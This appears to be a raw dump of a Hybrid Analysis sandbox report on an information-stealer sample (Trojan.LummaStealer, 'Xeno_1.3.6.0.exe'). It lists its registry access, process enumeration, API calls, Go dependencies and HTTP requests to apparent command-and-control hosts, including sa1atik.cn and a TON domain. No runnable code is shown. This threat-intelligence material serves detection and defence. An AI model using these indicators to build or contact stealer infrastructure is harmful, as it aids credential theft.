26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 43:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T49f,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.LummaStealer Sample 7cf6ecf31afc… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 7cf6ecf31afc…. Malware family: Trojan.LummaStealer. Threat score 100/100. 16/25 AV engines flagged this file. 5 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","keywords":["Malicious","Trojan.LummaStealer","malware analysis","sandbox report","threat intelligence","7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74"],"about":{"@type":"SoftwareApplication","name":"Xeno_1.3.6.0.exe","applicationCategory":["peexe","executable"],"identifier":"7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.LummaStealer","antivirusDetections":{"malicious":16,"total":25},"behavioralIndicators":{"malicious":5,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T98f,"Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\902EF2DEEB3C5B13EA4C3D5193629309E231AE55") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\902EF2DEEB3C5B13EA4C3D5193629309E231AE55") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\A031C46782E6E6C662C2C87C76DA9AA62CCABD8E") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\A031C46782E6E6C662C2C87C76DA9AA62CCABD8E") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\A399046417B67E320D3EFA69D7DCE6B8BFE8A9F2") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\A399046417B67E320D3EFA69D7DCE6B8BFE8A9F2") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\C86EDBC71AB05078F61ACDF3D8DC5DB61EB75FB6") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\C86EDBC71AB05078F61ACDF3D8DC5DB61EB75FB6") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E3FC0AD84F2F5A83ED6F86F567F8B14B40DCBF12") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E3FC0AD84F2F5A83ED6F86F567F8B14B40DCBF12") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FF67367C5CD4DE4AE18BCCE1D70FDABD7C866135") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FF67367C5CD4DE4AE18BCCE1D70FDABD7C866135") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "Xeno_1.3.6.0.exe" (Access type: "QUERY"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "Xeno_1.3.6.0.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS")28:T772,"Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1559939072 [PID: 3500] "Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1559946719 [PID: 3500] "Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1560143613 [PID: 3500] "Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1560152294 [PID: 3500] "Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1560276338 [PID: 3500] "Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1560284442 [PID: 3500] "Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1560484756 [PID: 3500] "Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1560494256 [PID: 3500] "Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1561057020 [PID: 3500] "Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1561065716 [PID: 3500] "Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1561291335 [PID: 3500] "Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1561300941 [PID: 3500] "Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1561535972 [PID: 3500] "Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1561544747 [PID: 3500] "Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1563247583 [PID: 3500] "Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1563255226 [PID: 3500] "Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1604608752 [PID: 3500] "Xeno_1.3.6.0.exe" queried SystemProcessInformation at 00000000-00003500-00000C15-1604616651 [PID: 3500]29:T1266,Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 354Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 354Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 354Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 354Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 354Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 354Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 354Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "http" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "POST" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "orbs" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "http" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "client/2" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "0Content" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "Type" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip"2a:Te44,Found string "dep github.com/StackExchange/wmi v1.2.1 h1:VIkavFPXSjcnS+O8yTq7NI32k0R5Aj+v39y29VYDOSA=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp") Found string "dep github.com/andygrunwald/vdf v1.1.0 h1:gmstp0R7DOepIZvWoSJY97ix7QOrsxpGPU6KusKXqvw=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp") Found string "dep github.com/buger/jsonparser v1.1.1 h1:2PnMjfWD7wBILjqQbt530v576A/cAbQvEW9gGIpYMUs=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp") Found string "dep github.com/capnspacehook/taskmaster v0.0.0-20210519235353-1629df7c85e9 h1:5jmtWADt5DzD8NnPxcqd1FzbFNZNfbJGNeDb+WKjoJ0=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp") Found string "dep github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp") Found string "dep github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp") Found string "dep github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp") Found string "dep github.com/ncruces/go-sqlite3 v0.23.0 h1:90j/ar8Ywu2AtsfDl5WhO9sgP/rNk76BcKGIzAHO8AQ=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp") Found string "dep github.com/ncruces/julianday v1.0.0 h1:fH0OKwa7NWvniGQtxdJRxAgkBMolni2BjDHaWTxqt7M=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp") Found string "dep github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp") Found string "dep github.com/quic-go/qpack v0.4.0 h1:Cr9BXA1sQS2SmDUWjSofMPNKmvF6IiIfDRmgU0w1ZCo=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp") Found string "dep github.com/quic-go/quic-go v0.38.1 h1:M36YWA5dEhEeT+slOu/SwMEucbYd0YFidxG3KlGPZaE=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp") Found string "dep github.com/rickb777/date v1.21.1 h1:tUcQS8riIRoYK5kUAv5aevllFEYUEk2x8OYDyoldOn4=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp") Found string "dep github.com/rickb777/plural v1.4.2 h1:Kl/syFGLFZ5EbuV8c9SVud8s5HI2HpCCtOMw2U1kS+A=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp") Found string "dep github.com/rodolfoag/gow32 v0.0.0-20230512144032-1e896a3c51aa h1:cd9mmDEXO4YxGYTbrhbfEt7btgUlcXFedTMoZ9fA4Ns=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp") Found string "dep github.com/tetratelabs/wazero v1.8.2 h1:yIgLR/b2bN31bjxwXHD8a3d+BogigR952csSDdLYEv4=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp") Found string "dep github.com/xssnick/tonutils-go v1.16.0 h1:MLYVZiiMB0Q+XudLo7WyjOli4gMuenNmJpBqETqa5DE=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp") Found string "dep github.com/yusufpapurcu/wmi v1.2.3 h1:E1ctvB7uKFMOJw3fdOW32DwGE9I7t++CRUEMKvFoFiw=" (Indicator: "github.com"; Source: "00000000-00003500.00000000.164415.01ED6000.00000004.mdmp")2b:T1162,"Xeno_1.3.6.0.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a0000009e292177e8be82000000000028000000240000000000810088f258000000000000000000000000000000000000000000d007680030000000000000000a0000000000680000000000820000000000000000000000e0bc820008b181000a000000000000002000000000006800d00168003c0c680000000000380c68000000000080f2580050f52077e8be8200e8f2580034f35800 (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000ed7300000000d0b1e97338eb80265cbce97320078300000000003dbce9732131719474abf173fddbf073a13171940000000060dbf0735261e97390bd85004886017400000000ed3271944cec8026c796ea730000000090bd850048860174011800004cec8026d296ea73d82fe373501eea73f996ea7300000000d82fe3738cda8200bcec802690bd850040eb80260000000098f2802600a8f1735116f1c6fefffffffddbf073b702ea732483017420078300e05af1736dfae97384ee802620078300ccfae973000000002007830098f08026000000005037e3730000000000010000000000000000cf6df08b850000000000000000000000000000000000 (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000ed7300000000d0b1e973d8ec80265cbce973e8078300000000003dbce973c136719474abf173fddbf073413771940000000060dbf0735261e9730898850048860174000000008d307194eced8026c796ea7300000000089885004886017401180000eced8026d296ea73d82fe373501eea73f996ea7300000000d82fe373f4de85005cee802608988500e0ec80260000000038f4802600a8f1735116f1c6fefffffffddbf073b702ea7324830174e8078300e05af1736dfae97324f08026e8078300ccfae973d069f500e807830038f28026000000005037e3730000000030000000000000000e00000088e08400000000008f5700000000000000000000 (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000ed7300000000d0b1e97330e880265cbce97348078300000000003dbce9732932719474abf173fddbf073a93271940000000060dbf0735261e973c04785004886017400000000f53f719444e98026c796ea7300000000c0478500488601740118000044e98026d296ea73d82fe373501eea73f996ea7300000000d82fe37334e28500b4e98026c047850038e880260000000090ef802600a8f1735116f1c6fefffffffddbf073b702ea732483017448078300e05af1736dfae9737ceb802648078300ccfae973d069f5004807830090ed8026000000005037e3730000000030000000000000007f000000c8f284000000000003c800000000000000000000 (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000ed7300000000d0b1e973b8e980265cbce973e0058300000000003dbce973a133719474abf173fddbf073213071940000000060dbf0735261e9732029840048860174000000006d3d7194ccea8026c796ea7300000000202984004886017401180000ccea8026d296ea73d82fe373501eea73f996ea7300000000d82fe37334e085003ceb802620298400c0e980260000000018f1802600a8f1735116f1c6fefffffffddbf073b702ea7324830174e0058300e05af1736dfae97304ed8026e0058300ccfae973d069f500e005830018ef8026000000005037e37300000000300000000000000063000000d8aa850000000000e7ac00000000000000000000 (UID: 00000000-00003500)2c:Tc63,"Xeno_1.3.6.0.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")2d:T51f,"Xeno_1.3.6.0.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "Xeno_1.3.6.0.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Xeno_1.3.6.0.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Xeno_1.3.6.0.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "Xeno_1.3.6.0.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "Xeno_1.3.6.0.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "Xeno_1.3.6.0.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "Xeno_1.3.6.0.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "Xeno_1.3.6.0.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "Xeno_1.3.6.0.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")2e:T536,"Xeno_1.3.6.0.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00003500)2f:T28c9,"Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter ProcessPrng (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter NtCreateWaitCompletionPacket (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter NtAssociateWaitCompletionPacket (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter NtCancelWaitCompletionPacket (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter timeEndPeriod 